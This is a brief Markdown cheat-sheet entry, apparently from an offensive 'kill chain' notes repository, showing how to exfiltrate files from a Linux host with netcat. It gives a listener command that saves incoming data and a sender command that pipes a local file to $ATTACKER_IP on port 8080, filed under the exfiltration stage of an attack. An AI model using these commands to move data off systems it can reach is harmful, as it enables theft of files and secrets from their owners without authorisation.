killchain-compendium/exfiltration/linux/nc.md

12 lines
132 B
Markdown

# Netcat
* RX
```sh
nc -lp 8080 > out.txt
```
* TX
```sh
nc $ATTACKER_IP 8080 < in.txt
```
* Have to be end manually after a while